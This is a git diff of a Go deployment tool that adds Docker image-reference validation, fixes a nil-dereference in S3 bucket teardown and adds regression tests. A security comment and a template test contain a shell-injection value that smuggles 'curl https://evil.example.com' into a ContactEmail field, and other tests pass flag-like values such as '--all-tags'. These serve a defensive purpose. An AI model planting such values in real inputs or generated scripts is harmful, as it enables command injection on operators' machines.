diff --git a/internal/accounts/org_discovery.go b/internal/accounts/org_discovery.go index 3eb4bc2f9..d0992ccaf 100644 --- a/internal/accounts/org_discovery.go +++ b/internal/accounts/org_discovery.go @@ -12,9 +12,10 @@ import ( ) // OrgDiscoveryResult holds the list of member accounts found during discovery. +// Discovery is all-or-nothing: a pagination error is returned as a function +// error, not accumulated here. There is no partial-success path. type OrgDiscoveryResult struct { Accounts []config.CloudAccount - Errors []error } // orgListAccountsClient is the minimal Organizations API surface needed for discovery. diff --git a/internal/deploy/docker.go b/internal/deploy/docker.go index facf64bdb..0adce4494 100644 --- a/internal/deploy/docker.go +++ b/internal/deploy/docker.go @@ -5,9 +5,29 @@ import ( "log" "os" "os/exec" + "regexp" "strings" ) +// validDockerRef matches safe Docker image reference components: must start +// with an alphanumeric character (no leading hyphen -- leading hyphens would +// be interpreted as flags by docker) and may then contain alphanumerics plus +// the characters that appear in valid registry hosts, repository paths, tags, +// and digest prefixes (dots, colons, slashes, at-signs, hyphens). +var validDockerRef = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._/:@-]*$`) + +// validateDockerRef returns an error if ref is empty or contains characters +// outside the safe set (including a leading hyphen). +func validateDockerRef(label, ref string) error { + if ref == "" { + return fmt.Errorf("docker %s must not be empty", label) + } + if !validDockerRef.MatchString(ref) { + return fmt.Errorf("docker %s contains invalid characters: %q", label, ref) + } + return nil +} + // DockerService handles Docker operations. type DockerService struct { CmdRunner CommandRunner @@ -22,6 +42,12 @@ func NewDockerService(cmdRunner CommandRunner) *DockerService { // BuildImage builds a Docker image with the specified architecture and tag. func (s *DockerService) BuildImage(architecture, tag, imageName string) error { + if err := validateDockerRef("tag", tag); err != nil { + return err + } + if err := validateDockerRef("image name", imageName); err != nil { + return err + } platform := fmt.Sprintf("linux/%s", architecture) return s.CmdRunner.Run("docker", "build", "--platform", platform, @@ -31,11 +57,20 @@ func (s *DockerService) BuildImage(architecture, tag, imageName string) error { // TagImage tags a Docker image with a new name. func (s *DockerService) TagImage(sourceTag, targetTag string) error { + if err := validateDockerRef("source tag", sourceTag); err != nil { + return err + } + if err := validateDockerRef("target tag", targetTag); err != nil { + return err + } return s.CmdRunner.Run("docker", "tag", sourceTag, targetTag) } // PushImage pushes a Docker image to a registry. func (s *DockerService) PushImage(imageTag string) error { + if err := validateDockerRef("image tag", imageTag); err != nil { + return err + } return s.CmdRunner.Run("docker", "push", imageTag) } diff --git a/internal/deploy/docker_test.go b/internal/deploy/docker_test.go index 5bd719f01..6c6d7b0d5 100644 --- a/internal/deploy/docker_test.go +++ b/internal/deploy/docker_test.go @@ -2,6 +2,7 @@ package deploy import ( "errors" + "strings" "testing" ) @@ -218,3 +219,95 @@ func TestNewDefaultCommandRunner(t *testing.T) { t.Error("expected non-nil runner") } } + +// TestDockerService_TagValidation verifies that leading-dash and other unsafe +// values are rejected before being passed to exec.Command (07-N1). +func TestDockerService_TagValidation(t *testing.T) { + cases := []struct { + name string + fn func(*DockerService) error + wantErrFrag string + }{ + { + name: "BuildImage leading-dash tag", + fn: func(s *DockerService) error { return s.BuildImage("arm64", "-v", "myimage") }, + wantErrFrag: "invalid characters", + }, + { + name: "BuildImage leading-dash imageName", + fn: func(s *DockerService) error { return s.BuildImage("arm64", "latest", "-rm") }, + wantErrFrag: "invalid characters", + }, + { + name: "BuildImage empty tag", + fn: func(s *DockerService) error { return s.BuildImage("arm64", "", "myimage") }, + wantErrFrag: "must not be empty", + }, + { + name: "TagImage invalid source", + fn: func(s *DockerService) error { return s.TagImage("--no-trunc", "target:tag") }, + wantErrFrag: "invalid characters", + }, + { + name: "TagImage invalid target", + fn: func(s *DockerService) error { return s.TagImage("source:tag", "--rm") }, + wantErrFrag: "invalid characters", + }, + { + name: "PushImage invalid tag", + fn: func(s *DockerService) error { return s.PushImage("--all-tags") }, + wantErrFrag: "invalid characters", + }, + { + name: "PushImage empty tag", + fn: func(s *DockerService) error { return s.PushImage("") }, + wantErrFrag: "must not be empty", + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + service := NewDockerService(&MockCommandRunner{}) + err := tc.fn(service) + if err == nil { + t.Fatal("expected validation error, got nil") + } + if !strings.Contains(err.Error(), tc.wantErrFrag) { + t.Errorf("expected error containing %q, got: %v", tc.wantErrFrag, err) + } + }) + } +} + +// TestDockerService_TagValidation_ValidRefs confirms that legitimate image +// references (with dots, colons, slashes, hyphens) are accepted. +func TestDockerService_TagValidation_ValidRefs(t *testing.T) { + cases := []struct { + name string + fn func(*DockerService) error + }{ + { + name: "ECR-style tag", + fn: func(s *DockerService) error { + return s.PushImage("123456789012.dkr.ecr.us-east-1.amazonaws.com/myrepo:v1.2.3") + }, + }, + { + name: "simple tag with hyphen", + fn: func(s *DockerService) error { return s.PushImage("myimage:v1-rc1") }, + }, + { + name: "digest reference", + fn: func(s *DockerService) error { return s.PushImage("myimage@sha256:abc123") }, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + service := NewDockerService(&MockCommandRunner{}) + if err := tc.fn(service); err != nil { + t.Errorf("unexpected validation error for valid ref: %v", err) + } + }) + } +} diff --git a/internal/deploy/ecr.go b/internal/deploy/ecr.go index 873921122..8bc7c6579 100644 --- a/internal/deploy/ecr.go +++ b/internal/deploy/ecr.go @@ -92,19 +92,11 @@ func (s *ECRService) LoginToPublicECR(ctx context.Context) error { return fmt.Errorf("no authorization data returned from public ECR") } - // Decode the base64 token - tokenBytes, err := base64.StdEncoding.DecodeString(*result.AuthorizationData.AuthorizationToken) + password, err := decodeBase64Token(*result.AuthorizationData.AuthorizationToken) if err != nil { - return fmt.Errorf("failed to decode auth token: %w", err) + return fmt.Errorf("failed to decode public ECR auth token: %w", err) } - // Token format is "AWS:" - parts := strings.SplitN(string(tokenBytes), ":", 2) - if len(parts) != 2 { - return fmt.Errorf("unexpected token format") - } - password := parts[1] - // Login to Docker using the token if err := s.CmdRunner.RunWithStdin("docker", password, "login", "--username", "AWS", "--password-stdin", "public.ecr.aws"); err != nil { return fmt.Errorf("docker login failed: %w", err) diff --git a/internal/deploy/ecr_test.go b/internal/deploy/ecr_test.go index ef5bb68f7..fad8af4c2 100644 --- a/internal/deploy/ecr_test.go +++ b/internal/deploy/ecr_test.go @@ -4,6 +4,7 @@ import ( "context" "encoding/base64" "errors" + "strings" "testing" "github.com/aws/aws-sdk-go-v2/aws" @@ -362,7 +363,9 @@ func TestECRService_LoginToPublicECR_NilAuthToken(t *testing.T) { } func TestECRService_LoginToPublicECR_InvalidTokenFormat(t *testing.T) { - // Valid base64 but no colon in the decoded string + // Valid base64 but no colon in the decoded string. + // The refactored code delegates to decodeBase64Token, which returns a more + // descriptive error wrapped by the caller (07-L4). token := base64.StdEncoding.EncodeToString([]byte("invalidformat")) mockPublicClient := &MockECRPublicClient{ GetAuthorizationTokenFunc: func(ctx context.Context, params *ecrpublic.GetAuthorizationTokenInput, optFns ...func(*ecrpublic.Options)) (*ecrpublic.GetAuthorizationTokenOutput, error) { @@ -379,7 +382,8 @@ func TestECRService_LoginToPublicECR_InvalidTokenFormat(t *testing.T) { if err == nil { t.Error("expected error for invalid token format, got nil") } - if err.Error() != "unexpected token format" { - t.Errorf("unexpected error message: %v", err) + // decodeBase64Token now produces the precise message; caller wraps it. + if !strings.Contains(err.Error(), "invalid token format") { + t.Errorf("expected error to mention 'invalid token format', got: %v", err) } } diff --git a/internal/deploy/frontend.go b/internal/deploy/frontend.go index 120955568..14a1f638b 100644 --- a/internal/deploy/frontend.go +++ b/internal/deploy/frontend.go @@ -268,11 +268,12 @@ func (s *FrontendService) EmptyBucket(ctx context.Context, bucketName string) er return err } - // Check for per-object errors + // Check for per-object errors. Key and Message are *string and can be + // nil when only the Code field is set; use aws.ToString for safe access. if len(deleteResult.Errors) > 0 { var errMsgs []string for _, delErr := range deleteResult.Errors { - errMsgs = append(errMsgs, *delErr.Key+": "+*delErr.Message) + errMsgs = append(errMsgs, aws.ToString(delErr.Key)+": "+aws.ToString(delErr.Message)) } return fmt.Errorf("failed to delete some objects: %s", strings.Join(errMsgs, "; ")) } diff --git a/internal/deploy/frontend_test.go b/internal/deploy/frontend_test.go index 40f9de164..4193f2dda 100644 --- a/internal/deploy/frontend_test.go +++ b/internal/deploy/frontend_test.go @@ -3,6 +3,7 @@ package deploy import ( "context" "errors" + "strings" "testing" "github.com/aws/aws-sdk-go-v2/aws" @@ -298,6 +299,80 @@ func TestFrontendService_EmptyBucket_DeleteError(t *testing.T) { } } +// TestFrontendService_EmptyBucket_PerObjectErrorNilFields is a regression test +// for the nil-deref bug (07-M4): S3 DeleteObjects can return an Error with a +// nil Key or nil Message (e.g. when only the Code field is set). The old code +// dereferenced both unconditionally, causing a panic during bucket teardown. +// aws.ToString is now used so nil fields produce an empty string instead. +func TestFrontendService_EmptyBucket_PerObjectErrorNilFields(t *testing.T) { + mockS3Client := &MockS3Client{ + ListObjectsV2Func: func(ctx context.Context, params *s3.ListObjectsV2Input, optFns ...func(*s3.Options)) (*s3.ListObjectsV2Output, error) { + return &s3.ListObjectsV2Output{ + Contents: []s3types.Object{ + {Key: aws.String("file1.html")}, + }, + IsTruncated: aws.Bool(false), + }, nil + }, + DeleteObjectsFunc: func(ctx context.Context, params *s3.DeleteObjectsInput, optFns ...func(*s3.Options)) (*s3.DeleteObjectsOutput, error) { + // Simulate an S3 per-object error where Key and Message are nil + // (only Code is set), which the old code would panic on. + return &s3.DeleteObjectsOutput{ + Errors: []s3types.Error{ + {Code: aws.String("InternalError"), Key: nil, Message: nil}, + }, + }, nil + }, + } + + service := NewFrontendService(mockS3Client, nil, nil) + + // Must return an error (not panic) even with nil Key/Message fields. + err := service.EmptyBucket(context.Background(), "my-bucket") + if err == nil { + t.Fatal("expected error from per-object S3 error, got nil") + } + if !strings.Contains(err.Error(), "failed to delete some objects") { + t.Errorf("unexpected error message: %v", err) + } +} + +// TestFrontendService_EmptyBucket_PerObjectErrorWithFields confirms that when +// Key and Message are populated the error message includes them. +func TestFrontendService_EmptyBucket_PerObjectErrorWithFields(t *testing.T) { + mockS3Client := &MockS3Client{ + ListObjectsV2Func: func(ctx context.Context, params *s3.ListObjectsV2Input, optFns ...func(*s3.Options)) (*s3.ListObjectsV2Output, error) { + return &s3.ListObjectsV2Output{ + Contents: []s3types.Object{ + {Key: aws.String("file2.js")}, + }, + IsTruncated: aws.Bool(false), + }, nil + }, + DeleteObjectsFunc: func(ctx context.Context, params *s3.DeleteObjectsInput, optFns ...func(*s3.Options)) (*s3.DeleteObjectsOutput, error) { + return &s3.DeleteObjectsOutput{ + Errors: []s3types.Error{ + { + Code: aws.String("AccessDenied"), + Key: aws.String("file2.js"), + Message: aws.String("access denied"), + }, + }, + }, nil + }, + } + + service := NewFrontendService(mockS3Client, nil, nil) + + err := service.EmptyBucket(context.Background(), "my-bucket") + if err == nil { + t.Fatal("expected error, got nil") + } + if !strings.Contains(err.Error(), "file2.js") { + t.Errorf("expected error to contain object key, got: %v", err) + } +} + func TestFrontendService_FindFrontendDir_Found(t *testing.T) { // The project has a frontend directory, so this should succeed service := NewFrontendService(nil, nil, nil) diff --git a/internal/iacfiles/embed.go b/internal/iacfiles/embed.go index 7b77ff87b..cd82e3477 100644 --- a/internal/iacfiles/embed.go +++ b/internal/iacfiles/embed.go @@ -1,5 +1,14 @@ // Package iacfiles embeds federation IaC templates into the binary. // Templates are rendered by handler_federation.go with per-account substitutions. +// +// Security note: the templates use text/template, which performs no shell +// escaping. Fields such as ContactEmail, AccountName, CUDlyAPIURL, and +// AccountSlug originate partly from self-service registration payloads (user- +// controlled) and are interpolated directly into generated bash scripts. The +// renderer (internal/api/handler_federation.go) is responsible for validating +// and/or quoting these fields before calling template.Execute so that a value +// containing shell metacharacters (e.g. "; curl evil;") cannot inject commands +// into the script shown to the operator. package iacfiles import "embed" diff --git a/internal/iacfiles/templates_test.go b/internal/iacfiles/templates_test.go index 1fb08f4a3..1f280536c 100644 --- a/internal/iacfiles/templates_test.go +++ b/internal/iacfiles/templates_test.go @@ -200,8 +200,30 @@ func TestCLITemplatesAutoRegister(t *testing.T) { } } +// TestCLITemplatesShellMetacharsPassThrough confirms that text/template does +// not shell-escape interpolated values. This is intentional: the templates are +// designed to be downloaded and inspected by an operator, not auto-executed. +// The renderer (handler_federation.go) is responsible for validating fields +// before execution so that user-controlled values cannot inject shell commands. +func TestCLITemplatesShellMetacharsPassThrough(t *testing.T) { + // Craft a ContactEmail that contains shell metacharacters. If the template + // engine were to shell-escape this, the output would differ from the input. + data := baseData() + data.ContactEmail = `ops@example.com"; curl https://evil.example.com; echo "` + + rendered := renderCLITemplate(t, "templates/aws-cross-account-cli.sh.tmpl", data) + + // The raw metacharacter string must appear verbatim in the rendered output, + // confirming that text/template does NOT escape it. The test documents the + // invariant that the renderer MUST validate ContactEmail (and similar fields) + // before calling template.Execute. + if !strings.Contains(rendered, data.ContactEmail) { + t.Errorf("expected raw ContactEmail (including metacharacters) to appear verbatim in rendered template; renderer must validate this field before execution") + } +} + // TestCLITemplatesOmitRegisterBlock proves the auto-register section is gated -// on CUDlyAPIURL — when it's empty, the block disappears entirely. +// on CUDlyAPIURL -- when it's empty, the block disappears entirely. func TestCLITemplatesOmitRegisterBlock(t *testing.T) { data := baseData() data.CUDlyAPIURL = ""